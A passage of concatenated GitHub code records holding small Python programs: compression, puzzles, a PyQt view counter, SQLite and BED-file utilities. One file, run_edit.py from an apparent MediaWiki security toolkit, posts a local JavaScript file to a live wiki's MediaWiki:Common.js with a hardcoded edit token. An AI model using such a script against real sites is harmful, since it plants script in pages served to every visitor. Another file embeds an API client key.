calibrate(ldr,hdr)\n\t\tcv2.imwrite(f'{args.output_dir}/hdr{i}.exr',hdr_expose.astype('float32'))\n","repo_name":"darthgera123/PanoHDR-NeRF","sub_path":"LANet/calibrate.py","file_name":"calibrate.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"35"}
{"seq_id":"3251457604","text":"import requests\n\n\ncontent = open(\"wikireality_common_js_mod.js\", \"r\", encoding=\"utf-8\").read()\n\n# action=edit&title=Talk:Main_Page&section=new&summary=Hello%20World&text=Hello%20everyone!&watch&basetimestamp=2008-03-20T17:26:39Z&token=cecded1f35005d22904a35cc7b736e18%2B%5C\nreq = requests.post(\"http://wikireality.ru/w/index.php?title=MediaWiki:Common.js&action=submit\", data = (\n    ('wpSection', ''),\n    ('wpStarttime', '20230205195753'),\n    ('wpEdittime', '20221018170900'),\n    ('wpScrolltop', ''),\n    ('wpAutoSummary', 'd41d8cd98f00b204e9800998ecf8427e'),\n    ('oldid', '0'),\n    ('wpTextbox1', content),\n    ('wpSummary', '.'),\n    ('wpEditToken', '5cee2ea03eda812c71b8af53a8771b4c+\\\\'),\n))\nprint(req.text)\nimport ipdb; ipdb.set_trace();","repo_name":"sfedia/mw-security-toolkit","sub_path":"no_include/run_edit.py","file_name":"run_edit.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"39663867843","text":"\"\"\"\nDate. Winter Semester 2017\nPython version: v2.7.15\n\"\"\"\n\nimport timeit\n\n\"\"\"\n-------------------------------------------------------------------------------------\n------------------------------  LZW COMPRESSOR  -------------------------------------\n-------------------------------------------------------------------------------------\n\"\"\"\n\n\ndef bit_converter(padded_encoded_text):\n    b = bytearray()\n    for i in range(0, len(padded_encoded_text), 8):\n        byte = padded_encoded_text[i:i + 8]\n        b.append(int(byte, 2))\n    return b\n\n\nwith open('../quijote.txt', 'r') as f, open('compressed_quijote.bin', 'wb') as output:\n    start = timeit.default_timer()\n    c = 1\n    first = f.read(1)  # Llegim el primer caracter\n    dictionary = {first: bin(c)[2:]}  # L afegim al dictionary\n    encoded = str('{0:08b}'.format(ord(first)))  # L 'escrivim' al output\n    k = 0\n    g = True\n    while g:\n        actual_k = 2 ** k\n        for i in range(0, actual_k):\n            a = f.read(1)\n            if not a: g = False\n            while a in dictionary:\n                char = f.read(1)\n                if not char: break\n                a += char\n\n            #   quan a ja no esta al diccionari\n            if (len(a) == 1):  # si es un sol caracter\n                c += 1\n                dictionary.update({a: bin(c)[2:].zfill(\n                    k + 1)})  # afegim al dict el binari del cont. amb la llarg. corresp. ie el seu codi.\n                encoded += bin(0)[2:].zfill(k + 1)\n                encoded += '{0:08b}'.format(ord(a))\n            #                out.write(bin(0)[2:].zfill(k+1))\n            #                out.write('{0:08b}'.format(ord(a)).zfill(k+1))\n\n            elif (len(a) > 1):  # si es una cadena\n                c += 1\n                dictionary.update(\n                    {a: bin(c)[2:].zfill(k + 1)})  # afegim la cadena i el codi binari associat al contador.\n                encoded += str(dictionary[str(a[:len(a) - 1])]).zfill(k + 1)\n                encoded += '{0:08b}'.format(ord(str(a[len(a) - 1])))\n        #                out.write(str(dictionary[str(a[:len(a)-1])]).zfill(k+1))       #escrivim el codi associat a la cadena que coneix i guard. la nova.\n        #                out.write('{0:08b}'.format(ord(str(a[len(a)-1]))))  #escrivim el separador en codi ASCII.\n        k += 1\n    # Afegim els bits necessaris per a que el # bits total sigui multiple de 8 i escrivim el numero de bits afegits a l'inici del document\n    extra_padding = 8 - len(encoded) % 8\n    for i in range(extra_padding):\n        encoded += \"0\"\n    padded_info = \"{0:08b}\".format(extra_padding)\n    encoded = padded_info + encoded\n    # Escrivim fitxer sortida\n    output.write(bytes(bit_converter(encoded)))\n\nf.close()\noutput.close()\nstop1 = timeit.default_timer()\nprint('Compression time:', stop1 - start)\n\n","repo_name":"opromio/physics","sub_path":"InformationTheory/CompressionAlgorithms/LZW/lzw_compressor.py","file_name":"lzw_compressor.py","file_ext":"py","file_size_in_byte":2834,"program_lang":"python","lang":"ca","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"13901713640","text":"# https://leetcode.com/problems/3sum/description/\n\nclass Solution(object):\n    def threeSum(self, nums):\n        \"\"\"\n        :type nums: List[int]\n        :rtype: List[List[int]]\n        \"\"\"\n        done = set()\n        ans = set()\n        for i, t in enumerate(nums):\n            if t in done:\n                continue\n            done.add(t)\n            d = set()\n            for j in xrange(i+1, len(nums)):\n                n = nums[j]\n                s = 0-t-n\n                if s in d:\n                    ans.add(tuple(sorted([t, n, s])))\n                d.add(n)\n        return list(ans)\n        \n","repo_name":"bkface/leetcode","sub_path":"python/review/15/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"33849881995","text":"# def solution(word, position=None):\n#     dictionary = {}\n#     if position == None:\n#         position = '0123456789'\n#     for i in word:\n#         dictionary.update({i:position[word.index(i)]})\n#     return dictionary\n# print(solution('LOMXARYETS'))\n# print(solution('AELMORSTXY', '4702159836'))\n# print(solution('MERYXASTOL', '2765349810'))\n\nhigh = int(input())\nbuilding_name = str(input())\npre_building_high = int(input())\nprint(building_name, 'is visible from the ground floor up to', pre_building_high, 'meters.')\ncounter = 1\nwhile True:\n    building_name = str(input())\n    building_high = int(input())\n\n    if pre_building_high < building_high:\n        print(building_name, 'is visible from', pre_building_high, 'meters up to', building_high, 'meters.')\n    else:\n        continue\n    pre_building_high = building_high\n    counter += 1\n    if counter == high:\n        break\n\n\n","repo_name":"isk02206/python","sub_path":"informatics/series 8/note.py","file_name":"note.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"23021534555","text":"print (\"Teorema degli zeri per l'equazione exp(x)=x+2 \" )\nimport math\nn=int(input(\"Inserisci un numero intero n: \"))\ndef f(t):\n    return math.exp(t)-t-2\np=pow(10,-n)\nx=0\nwhile f(x)*f(x+p)>0:\n    x=x+p\n    print (\"function e**x =  x+2   \" )\n    print (\"in x=\",round(x,2),\" f(x)=\",round(f(x),4))\n    print (\"in x=\",round(x+p,2),\" f(x)=\",round(f(x+p),4))\n    print (\"Solution is between \",round(x,2),\" e \",round(x+p,2))\n","repo_name":"massibone/Zero-Theorem","sub_path":"zero_theorem.py","file_name":"zero_theorem.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"28835767721","text":"from PyQt5 import QtCore, QtWidgets, uic\r\nfrom PyQt5.QtWidgets import QMessageBox\r\nimport sys, os\r\nimport requests\r\nimport re\r\nimport random\r\nimport time\r\n\r\ndef resource_path(relative_path):\r\n\t\"\"\" Get absolute path to resource, works for dev and for PyInstaller \"\"\"\r\n\ttry:\r\n\t\t# PyInstaller creates a temp folder and stores path in _MEIPASS\r\n\t\tbase_path = sys._MEIPASS\r\n\texcept Exception:\r\n\t\t# Hello from Dxd4\r\n\t\tbase_path = os.path.abspath(\".\")\r\n \r\n\treturn os.path.join(base_path, relative_path)\r\n\r\nclass Ui(QtWidgets.QMainWindow):\r\n\tdef __init__(self):\r\n\t\tsuper(Ui, self).__init__()\r\n\t\tuic.loadUi(resource_path('VomAzur/VomAzur.ui'), self)\r\n\t\tself.setWindowFlag(QtCore.Qt.FramelessWindowHint)\r\n\t\tself.setAttribute(QtCore.Qt.WA_TranslucentBackground)\r\n\t\tself.CloseButton.clicked.connect(self.close)\r\n\t\tself.show()\r\n\t\tself.progressBar.setValue(0)\r\n\t\tQtCore.QTimer.singleShot(0, self.get_views)\r\n\t\tQtCore.QTimer.singleShot(0, self.prgBar)\r\n\tdef prgBar(self):\r\n\t\tpercent = int(self.lcdNumber.value()/10000)\r\n\t\tcur_value = self.progressBar.value()\r\n\t\tif cur_value < percent:\r\n\t\t\tself.progressBar.setValue(cur_value+1)\r\n\t\t\tQtCore.QTimer.singleShot(10, self.prgBar)\r\n\tdef get_views(self):\r\n\t\turl = \"https://www.youtube.com/channel/UChO6RshLXnuce6KCkh8Pnyw/videos\"\r\n\t\theaders = {\r\n\t\t\t\t'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0'\r\n\t\t\t\t}\r\n\r\n\t\t#youtube\r\n\t\ttry:\r\n\t\t\trequest = requests.get(url,headers=headers)\r\n\t\texcept:\r\n\t\t\treply = QMessageBox.question(self, 'ИНЕТ ВРУБИ', 'Интернета нет, ебланище',QMessageBox.Ok)\r\n\t\t\tsys.exit()\r\n\t\ttext = request.content.decode(\"UTF-8\").replace(\"\\xa0\", \"\")\r\n\t\ttest = re.compile('viewCountText\":{\"simpleText\":\"\\d+')\r\n\t\ttext = test.findall(text)\r\n\t\tresult = 0\r\n\t\tfor x in text:\r\n\t\t\tresult += int(x.replace('viewCountText\":{\"simpleText\":\"',''))\r\n\t\tself.label_views_1.setText(str(result))\r\n\r\n\t\t#youtube music\r\n\t\tresult_music = result+random.randrange(50,1000)\r\n\t\tself.label_views_2.setText(str(result_music))\r\n\r\n\t\t#soundcloud\r\n\t\turl = \"https://api-v2.soundcloud.com/users/481828179/tracks?representation=&client_id=n4QiowDdp97ZZ2pGZDX2ErvOZDzkXvYA&app_locale=en\"\r\n\t\trequest = requests.get(url,headers=headers)\r\n\t\ttext = request.content.decode(\"UTF-8\").replace(\"\\xa0\", \"\")\r\n\t\ttest = re.compile('\"playback_count\":\\d+')\r\n\t\ttext = test.findall(text)\r\n\t\tresult_snd = 0\r\n\t\tfor x in text:\r\n\t\t\tresult_snd += int(x.replace('\"playback_count\":',''))\r\n\t\tself.label_views_3.setText(str(result_snd))\r\n\r\n\t\tself.lcdNumber.display(result+result_music+result_snd)\r\n\t\t\r\n\r\n\r\napp = QtWidgets.QApplication(sys.argv)\r\nwindow = Ui()\r\napp.exec_()\r\n","repo_name":"Dxd4/PyDesigner_Learn","sub_path":"Statistics.py","file_name":"Statistics.py","file_ext":"py","file_size_in_byte":2624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"26182970540","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# Author: Xiaobai Lei\n\"\"\"\n该脚本主要是为了生成初始化用户，并以json格式保存\n\"\"\"\nimport json\nimport os,sys\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nsys.path.append(BASE_DIR)\nfrom conf import setting\npath_msg = setting.DATABASE     # 将setting下DATABASE拿出来\ndb_path = os.path.join(path_msg[\"path\"], path_msg[\"name\"])  # 将文件存放路径拼凑出来\n\naccount_data = {\n    \"id\": 1,\n    \"username\": \"xiaobai\",\n    \"password\": \"123456\",\n    \"credit_limit\": 15000,      # 信用卡额度\n    \"credit_balance\": 15000,    # 信用卡余额\n    \"register_date\": \"2018-12-01\",      # 用户注册时间\n    \"expire_date\": \"2028-12-01\",        # 用户过期时间，默认十年\n    \"pay_day\":  \"22\",                    # 还款日期\n    \"status\":   0,                       # 0代表正常，1代表被锁，2代表注销\n    \"role\": \"0\"                          # 0代表普通用户，x代表管理员\n}\ndb_file = os.path.join(db_path, str(account_data[\"id\"])+\".json\")\n# print(db_file)\n\nwith open(db_file, \"w\") as f:\n    f.write(json.dumps(account_data))","repo_name":"leixiaobai/python_project","sub_path":"shopping_atm/atm_lxb/db/account_sample.py","file_name":"account_sample.py","file_ext":"py","file_size_in_byte":1155,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"30896140945","text":"import sys\nimport sqlite3\nimport magic\nimport os\n\n\n# fonctions\ndef colored(r, g, b, text):\n    return \"\\033[38;2;{};{};{}m{} \\033[38;2;255;255;255m\".format(r, g, b, text)\n\n\ndef scan_file(racine):\n    liste_db = []\n    for dirpath, dirnames, filenames in os.walk(racine):\n        for fichier in filenames:\n            type_fic = magic.from_file(dirpath+\"/\"+fichier)\n            if type_fic[:19] == \"SQLite 3.x database\":\n                liste_db.append(dirpath+\"/\"+fichier)\n    return liste_db\n\ndef list_schemas(db):\n    base_lu = sqlite3.connect(db)\n    dico_table = {}\n    cur = base_lu.cursor()\n    cur.execute('select sql from sqlite_master')\n    for i in cur.fetchall():\n        if i[0]:\n            if \"CREATE TABLE\" in i[0]:\n                if \"IF NOT EXISTS\" not in i[0]:\n                    decoupe = i[0].split(\"(\")\n                    decoupe_table = decoupe[0].split(\" \")\n                    schema =  decoupe[1]\n                    table = decoupe_table[2]\n                    dico_table[table] = schema\n    cur.close()\n    return dico_table\n\n# init vars\nracine = \"\"\ni = 1\nliste_tables = []\ncolor_rep = colored(194, 1, 20, \" \")\ncolor_table = colored(185, 251, 192, \" \")\ncolor_select = colored(255, 238, 50, \" \")\ncolor_underl = '\\033[4m'\ncolor_normal = '\\033[0m'\ncolr_gras = '\\033[1m'\n\n# recup params\nwhile i < len(sys.argv):\n    if i == 1:\n        racine = sys.argv[i]\n    else:\n        liste_tables.append(sys.argv[i])\n    i = i + 1\n\nfor base in scan_file(racine):\n    dico_schema = list_schemas(base)\n    print (colored(0, 255, 255, base)+color_normal)\n    for aff_table in dico_schema.keys():\n        if aff_table in liste_tables:\n            print (\"->\"+colored(255, 238, 50, aff_table+\" \"+dico_schema[aff_table])+color_normal)\n        else:\n            print (\"->\"+colored(185, 251, 192, aff_table+\" \"+dico_schema[aff_table])+color_normal)\n\n","repo_name":"michelpetrois/utt_python","sub_path":"venv/aff_tables.py","file_name":"aff_tables.py","file_ext":"py","file_size_in_byte":1858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"150675769","text":"import unittest\nimport os\nimport coverage\nimport sys\n\nfrom flask_script import Manager\nfrom flask_migrate import Migrate, MigrateCommand\n\nsys.path = [os.path.abspath('')] + sys.path\n\nfrom contentagregator import db, app\n\napp.config.from_object('contentagregator.config.TestConfig')\n\nmigrate = Migrate(app, db)\nmanager = Manager(app)\n\nmanager.add_command('db', MigrateCommand)\n\n\n@manager.command\ndef test():\n    \"\"\"Runs the unit tests without coverage.\"\"\"\n    tests = unittest.TestLoader().discover('tests')\n    unittest.TextTestRunner(verbosity=2).run(tests)\n\n\n@manager.command\ndef cov():\n    \"\"\"Runs the unit tests with coverage.\"\"\"\n    cov = coverage.coverage(\n        branch=True,\n        include='contentagregator/*'\n    )\n    cov.start()\n    tests = unittest.TestLoader().discover('tests')\n    unittest.TextTestRunner(verbosity=2).run(tests)\n    cov.stop()\n    cov.save()\n    print('Coverage Summary:')\n    cov.report()\n    basedir = os.path.abspath(os.path.dirname(__file__))\n    covdir = os.path.join(basedir, 'coverage')\n    cov.html_report(directory=covdir)\n    cov.erase()\n\n\nif __name__ == '__main__':\n    manager.run()","repo_name":"Czembri/contentAgregator","sub_path":"contentagregator/manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"32259290488","text":"#!/usr/bin/env python\n\nimport argparse\nimport subprocess\nimport tempfile\nimport sys\nimport shutil\nimport os\nimport pybedtools\n\nparser = argparse.ArgumentParser(description= \"\"\"\nDESCRIPTION\n    \n    Compress a bed file by applying a sliding window with a grouping function\n    to the score column (5th col).\n    Ouput is sent to stdout and has columns:\n    \n        <chrom>  <window_start>  <window_end>  <groupedby_score>\n\n    Input must be sorted, first three columns must be chrom, start, end. Additional\n    columns other than the score column are ignored.\n\nEXAMPLE    \n    You have a bed file with position of CpGs (one per row), the score column is\n    the percentage of Cs methylated. You want to summarize % methylation in windows\n    of size 10kb sliding by 1kb:\n\n    compressBedByWindows.py -i methylation.bed -w 10000 -s 1000\n    \n\"\"\", formatter_class= argparse.RawTextHelpFormatter)\n\nparser.add_argument('--input', '-i',\n                   required= True,\n                   help='''BED file to compress or - to read from stdin.\nInput must be SORTED by position, without header.\n\n''')\n\nparser.add_argument('--scoreColumn', '-c',\n                   required= False,\n                   default= 5,\n                   type= int,\n                   help='''Column index with the score to be summarized.\nDefault is 5, suitable for bed files. Use 4 for bedGraph files.\n\n''')\n\nparser.add_argument('--window_size', '-w',\n                   required= True,\n                   type= int,\n                   help='''Window size to group features. This option passed to\nbedtools makewindows.\n\n''')\n\nparser.add_argument('--step_size', '-s',\n                   required= False,\n                   default= None,\n                   type= int,\n                   help='''Step size to slide windows. This option passed to\nbedtools makewindows. Default step_size= window_size (non-sliding windows)\n\n''')\n\nparser.add_argument('--ops', '-o',\n                   required= False,\n                   default= 'sum',\n                   type= str,\n                   help='''Operation to apply to the score column. Default: sum\nThis option passed to bedtools groupBy.\n\n''')\n\nparser.add_argument('--tmpdir',\n                    required= False,\n                    default= None,\n                   help='''For debugging: Directory where to put the tmp output files.\nBy default the temp dir is fetched by tempfile.mkdtemp and will be deleted at the end.\nWith this option the tmp dir will not be deleted. tmpdir will be created if it doesn't\nexist.\n\n''')\n\nargs = parser.parse_args()\n\nif args.step_size is None:\n    args.step_size= args.window_size\n\nif args.tmpdir is None:\n    tmpdir= tempfile.mkdtemp(prefix= 'compressBedByWindows_')\nelse:\n    tmpdir= args.tmpdir\n    if not os.path.isdir(tmpdir) and not os.path.exists(tmpdir):\n        os.makedirs(tmpdir)\n    elif not os.path.isdir(tmpdir) and os.path.exists(tmpdir):\n        sys.exit('Requested tmp dir %s is a file' %(tmpdir))\n    else:\n        pass        \n\nbasename= os.path.split(args.input)[1]\n\nif args.input == '-':\n    \"Need to write stream to file since we need it twice\"\n    inputBed= os.path.join(tmpdir, 'streamInput.bed')\n    fout= open(inputBed, 'w')\n    for line in sys.stdin:\n        fout.write(line)\n    fout.close()\nelse:\n    inputBed= args.input\n\ninbed= pybedtools.BedTool(inputBed)\n\n## 1. Get extremes of each chrom\ngrp= inbed.groupby(g= [1], c= [2,3], ops= ['min', 'max'], stream= False)\n\n## 2. Divide each chrom in windows\nwindows= grp.window_maker(b= grp.fn, w= args.window_size, s= args.step_size, stream= True)\n\n## 3. Assign bed features to windows\nintsct= windows.intersect(b= inbed, wa= True, wb= True, stream= True)\n\n## 4. Summarize windows\nsummWinds= intsct.groupby(g= [1,2,3], c= 3 + args.scoreColumn, o= args.ops, stream= True)\n\nfor line in summWinds:\n    print('\\t'.join([line.chrom, str(line.start), str(line.end), str(line[3])]))\n\nif args.tmpdir is None:\n    shutil.rmtree(tmpdir)\n\nsys.exit()","repo_name":"dariober/bioinformatics-cafe","sub_path":"compressBedByWindows.py","file_name":"compressBedByWindows.py","file_ext":"py","file_size_in_byte":3963,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"35"}
{"seq_id":"46676592848","text":"'''app/models/base_models.py'''\nimport os\nimport psycopg2\nfrom instance.config import app_config\n\nCURRENT_ENVIRONMENT = os.environ['ENV']\nCONN_STRING = app_config[CURRENT_ENVIRONMENT].CONNECTION_STRING\n\nclass BaseModel(object):\n    '''answers class model'''\n    def __init__(self):\n        '''open database connections'''\n        self.conn = psycopg2.connect(CONN_STRING)\n        self.cursor = self.conn.cursor()\n\n    def check_if_question_exists(self, question_id):\n        '''check if question exists'''\n        self.cursor.execute(\"SELECT * FROM questions WHERE question_id = (%s);\", (question_id,))\n        result = self.cursor.fetchone()\n        if not result:\n            return dict(response=dict(message=\"Question doesn't exist\"), status_code=404)\n        return True\n\n    def check_if_answer_exists(self, answer_id):\n        '''check if an answer exists'''\n        self.cursor.execute(\"SELECT * FROM answers WHERE answer_id = (%s);\", (answer_id,))\n        result = self.cursor.fetchone()\n        if not result:\n            return dict(response=dict(message=\"This answer doesn't exist\"), status_code=404)\n        return result\n\n    def paginate(self, my_list, page):\n        '''get a page of results'''\n        num = 5\n        end = num * page\n        start = end - num\n        if start < 0:\n            start = 0\n        return my_list[start:end]\n        ","repo_name":"njeri-ngigi/stackoverflow_api","sub_path":"app/models/base_models.py","file_name":"base_models.py","file_ext":"py","file_size_in_byte":1364,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"71185917862","text":"\"\"\"\nAlimentar Roles\n\"\"\"\nfrom pathlib import Path\nimport csv\n\nimport click\nfrom sqlalchemy.orm import Session\nfrom lib.safe_string import safe_string\n\nfrom direcciones.v1.roles.models import Rol\n\nROLES_CSV = \"seed/roles.csv\"\n\n\ndef alimentar_roles(db: Session):\n    \"\"\"Alimentar roles\"\"\"\n    ruta = Path(ROLES_CSV)\n    if not ruta.exists():\n        click.echo(f\"AVISO: {ruta.name} no se encontró.\")\n        return\n    if not ruta.is_file():\n        click.echo(f\"AVISO: {ruta.name} no es un archivo.\")\n        return\n    click.echo(\"Alimentando roles...\")\n    contador = 0\n    with open(ruta, encoding=\"utf8\") as puntero:\n        rows = csv.DictReader(puntero)\n        for row in rows:\n            db.add(\n                Rol(\n                    nombre=safe_string(row[\"nombre\"]),\n                    permiso=int(row[\"permiso\"]),\n                    estatus=row[\"estatus\"],\n                )\n            )\n            contador += 1\n        db.commit()\n    click.echo(f\"  {contador} roles alimentados.\")\n","repo_name":"PJECZ/pjecz-direcciones-api-oauth2","sub_path":"cli/commands/alimentar_roles.py","file_name":"alimentar_roles.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19829139428","text":"import socket\n\ndef PC_send():\n\thost = ''\n\tport = 5000\n\t\n\tclientsock = socket.socket()\n\tclientsock.connect((host,port))\n\t\n\tdata = input(\"Command for robot: \")\n\twhile data != \"-1\":\n\t\tclientsock.send(data.encode('utf-8'))\n\t\tfeedback = clientsock.recv(1024).decode('utf-8')\n\t\tprint(\"Received: \"+ feedback)\n\t\tdata = input(\"Command for robot: \")\n\t\t\n\tclientsock.close()\n\nif __name__ == \"__main__\":\t\n\tPC_send()\n\t\n\t","repo_name":"YingHaoTan/MDP","sub_path":"RasberryPi/PC/PCClient.py","file_name":"PCClient.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"31283447146","text":"\"\"\"\nTSYPlainNetwork.py\n\"\"\"\nimport torch\nimport torch.nn as nn\nfrom . import _utils as u\n\nclass TSYPlainNetwork(nn.Module):\n\n    def __init__(self, netstructure, showsize=False):\n        super(TSYPlainNetwork, self).__init__()\n\n        gl = u.GenerateLayer()\n        layers = []\n        for l in netstructure[\"Net\"]:\n            layername = l[\"lname\"]\n            layers.append(gl.LayersDict[layername](**(l[\"params\"])))\n        self.layers = nn.ModuleList(layers)\n\n        self.showsize = showsize\n\n    def forward(self, x):\n        for l in self.layers:\n            if self.showsize:\n                print(\"layer size: \", x.size())\n            x = l(x)\n        if self.showsize:\n            print(\"output size: \", x.size())\n            self.showsize = False\n        return x\n\n    def check_intermediate_outputs(self, x):\n        intermediateoutputs = []\n        for l in self.layers:\n            x = l(x)\n            intermediateoutputs.append(x)\n        return intermediateoutputs","repo_name":"tsyamamoto21/gwnet","sub_path":"TSYPlainNetwork.py","file_name":"TSYPlainNetwork.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"1190912099","text":"import os, sys\nimport subprocess\nfrom numpy.lib.shape_base import expand_dims\nimport pandas as pd\nimport json\nfrom pandas.io.json import json_normalize\nimport numpy as np\nimport time\npd.__version__\n\noutput_folder = r'C:\\Users\\abhis\\Google Drive\\Kuungana Advisory_South Sudan\\Model files\\Model runs\\06102021_v1\\JSON'\ncsv_folder = r'C:\\Users\\abhis\\Google Drive\\Kuungana Advisory_South Sudan\\Model files\\Model runs\\06102021_v1\\CSV'\n\nfinal_df = pd.DataFrame(columns=['Year','Month', 'Day','Hour','Generator','Resource','Variable','Value'],\n                        dtype=object)\n\nfile_count = 0\nstart = time.process_time()\n\nfor each_json in os.listdir(output_folder):\n    file_count += 1\n    print('Processing ', \n          file_count, \n          ' out of ', \n          len(os.listdir(output_folder)),\n          ' files')\n    with open(os.path.join(output_folder,\n                           each_json)) as json_data:\n        data = json.load(json_data)\n\n    # Flatten JSON\n    pd.json_normalize(data, 'Solution', ['Variable'], errors='ignore')\n    df = pd.DataFrame(data['Solution'])\n\n    # Create dictionary with variable-value combinations\n    variables_dict = dict(df['Variable'])\n    del variables_dict[0]\n\n    # Create DataFrame from variable-values dictionary \n    df = pd.DataFrame.from_dict(variables_dict).reset_index()\n    df.columns = ['Variables', 'Values']\n\n    # Add columns for year, month, and day based on JSON filename \n    df['Year'] = each_json.split('_')[1].split('.')[0][0:4]\n    df['Month'] = each_json.split('_')[1].split('.')[0][4:6]\n    df['Day'] = each_json.split('_')[1].split('.')[0][6:8]\n\n    # Split 'Variables' column\n    df[['Variable', 'Indices']] = df['Variables'].str.split('[',\n                                                            expand=True)\n    df['Indices'] = df['Indices'].str.rstrip(']')\n    df['Value'] = df['Values'].apply(lambda x: x['Value'])\n    df.drop(columns=['Variables','Values'], \n            inplace=True)\n\n    # Insert empty columns\n    df.insert(3, 'Hour', '')\n    df.insert(4, 'Generator', '')\n    df.insert(5, 'Resource', '')\n\n    # Create dictionary of variable-index combinations\n    variable_columns = {'CapacityFactor': ['Generator', 'Hour'],\n                        'FuelCostByGenerator': ['Generator', 'Resource', 'Hour'],\n                        'FuelCostByUnitByGenerator': ['Generator', 'Resource'],\n                        'FuelCostTotal': ['Resource', 'Hour'],\n                        'GenerationSystem': ['Hour'],\n                        'Generation': ['Generator', 'Hour'],\n                        'NonFuelVariableCostByGenerator': ['Generator', 'Hour'],\n                        'NonFuelVariableCostByUnitByGenerator': ['Generator'],\n                        'NonFuelVariableCostTotal': ['Hour'],\n                        'ResourceConsumptionByGenerator': ['Generator', 'Resource', 'Hour'],\n                        'ResourceConsumptionTotal': ['Resource', 'Hour'],\n                        'ShortRunMarginalCostByGenerator': ['Generator'],\n                        'TotalCost': ['Hour'],\n                        'UnservedEnergy': ['Hour']\n                        }\n\n    variable_list = list(df['Variable'].unique())\n\n    # Loop through each index of each variable \n    for each_variable in variable_columns.keys():\n        index_count = 0\n        if each_variable in variable_list:\n            for each_index in variable_columns[each_variable]:\n                df.loc[df['Variable'] == each_variable,\n                       each_index] = (df[df['Variable'] == each_variable]['Indices']\n                                      .str.split(',', expand=True)[index_count])\n                index_count += 1\n\n    # Split CapacityFactor\n    # df[['Generator', 'Hour']] = (df[df['Variable'] == 'CapacityFactor']['Indices']\n    #                             .str.split(',',\n    #                                        expand=True))\n\n    '''\n    df.loc[df['Variable'] == 'CapacityFactor',\n           'Generator'] = (df[df['Variable'] == 'CapacityFactor']['Indices']\n                                                           .str.split(',', expand=True)[0])\n    df.loc[df['Variable'] == 'CapacityFactor',\n           'Hour'] = (df[df['Variable'] == 'CapacityFactor']['Indices']\n                                                      .str.split(',', expand=True)[1])\n    '''\n    df.drop(columns=['Indices'],\n            inplace=True)\n\n    # Concatenate dataframes\n    final_df = pd.concat([final_df,\n                          df])\n\n# Print\nfinal_df.to_csv(os.path.join(csv_folder,\n                           'OptimisationResults_final.csv'),\n              index=False)\n\nprint('Process took ', \n      time.process_time() - start, \n      ' seconds')\n","repo_name":"abhishek0208/kems_tools","sub_path":"json_to_csv.py","file_name":"json_to_csv.py","file_ext":"py","file_size_in_byte":4704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"43118123783","text":"from datetime import datetime\nimport logging\nimport os\nfrom pathlib import Path\nimport subprocess\nimport sys\nfrom typing import Any, Dict, List, Match, Optional, Set, Tuple, Union\n\nimport click\n\nfrom DDR import config\nfrom DDR import docstore\nfrom DDR import fileio\nfrom DDR import identifier\nfrom DDR import storage\nfrom DDR import util\n\nlogging.basicConfig(\n    level=logging.ERROR,\n    format='%(asctime)s %(levelname)-8s %(message)s',\n    stream=sys.stdout,\n)\n    \n\n@click.command()\n@click.argument('fileroles')\n@click.argument('sourcedir')\n@click.argument('destbase')\n@click.option('--force','-f',  is_flag=True, help='Force')\n@click.option('--b2sync','-b',  is_flag=True, help='Sync with Backblaze (requires environment vars)')\n@click.option('--rsync','-r',  help='Rsync to specified target')\ndef ddrpubcopy(fileroles, sourcedir, destbase, force, b2sync, rsync):\n    \"\"\"ddrpubcopy - Copies binaries from source dir to dest dir for publication.\n    \n    \\b\n    This command copies specified types of binaries from a collection to a\n    destination folder.  Destination files are in a very simple hierarchy (just\n    files within a single directory per collection) that is suitable for use by\n    ddr-public.\n    \n    \\b\n    ddr-pubcopy produces a very simple file layout:\n        $BASE/$COLLECTION_ID/$FILENAME\n\n    \\b\n    An individual run of ddrpubcopy may copy from a subdirectory of a collection\n    but these files will go into the collection's destination folder.\n    Example:\n        $ ddrpubcopy mezzanine /var/www/media/ddr/ddr-test-123 /media/USBHARDDRIVE\n    \n    \\b\n    Use the --b2sync/-b flag to upload files to Backblaze after rsyncing them\n    to the dest dir.  In order to use this flag you must define the following\n    environment values:\n        B2KEYID   Backblaze Key ID\n        B2APPKEY  Backblaze Application Key\n        B2BUCKET  Backblaze target bucket name\n    Example:\n        $ export  B2KEYID=REDACTED\n        $ export B2APPKEY=REDACTED\n        $ export B2BUCKET=REDACTED\n        $ ddrpubcopy mezzanine,transcript /var/www/media/ddr/ddr-test-123 \\\\\n            /media/USBHARDDRIVE --b2sync\n    \n    \\b\n    Use the --rsync/-r arg to rsync files to another server after rsyncing them\n    to the dest dir.  You will be asked 